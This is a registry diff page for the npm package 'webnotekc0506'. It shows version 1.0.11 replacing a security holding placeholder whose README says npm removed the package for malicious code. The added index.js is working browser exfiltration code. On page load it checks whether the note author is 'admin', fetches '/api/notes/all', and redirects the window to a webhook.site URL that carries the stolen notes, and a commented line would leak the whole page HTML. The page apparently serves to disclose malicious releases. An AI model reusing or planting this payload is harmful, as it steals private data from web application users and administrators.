webnotekc0506 0.0.1-security → 1.0.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of webnotekc0506 might be problematic. Click here for more details.
- package/index.js +31 -0
- package/package.json +10 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
|
2
|
+
function sleep(milliseconds) {
|
3
|
+
var start = new Date().getTime();
|
4
|
+
for (var i = 0; i < 1e7; i++) {
|
5
|
+
if ((new Date().getTime() - start) > milliseconds){
|
6
|
+
break;
|
7
|
+
}
|
8
|
+
}
|
9
|
+
}
|
10
|
+
|
11
|
+
|
12
|
+
const WEBHOOK = 'https://webhook.site/ee626ce2-33d5-42fe-a52b-3330087cd7a8?q=';
|
13
|
+
|
14
|
+
window.onload = ()=>{
|
15
|
+
console.log('hello world!')
|
16
|
+
// let leak = WEBHOOK + encodeURIComponent( document.body.outerHTML )
|
17
|
+
// console.log(leak)
|
18
|
+
|
19
|
+
const authorText = document.querySelector(".note > p").textContent
|
20
|
+
const author = authorText.match(/Author: (.+)/)[1]
|
21
|
+
console.log(author)
|
22
|
+
|
23
|
+
if ( author === 'admin' ){
|
24
|
+
fetch('/api/notes/all')
|
25
|
+
.then(res => res.json())
|
26
|
+
.then(res => {
|
27
|
+
const leak = WEBHOOK + encodeURIComponent(JSON.stringify(res));
|
28
|
+
window.top.location.href = leak;
|
29
|
+
})
|
30
|
+
}
|
31
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,13 @@
|
|
1
1
|
{
|
2
2
|
"name": "webnotekc0506",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.11",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
}
|
6
13
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=webnotekc0506 for more information.
|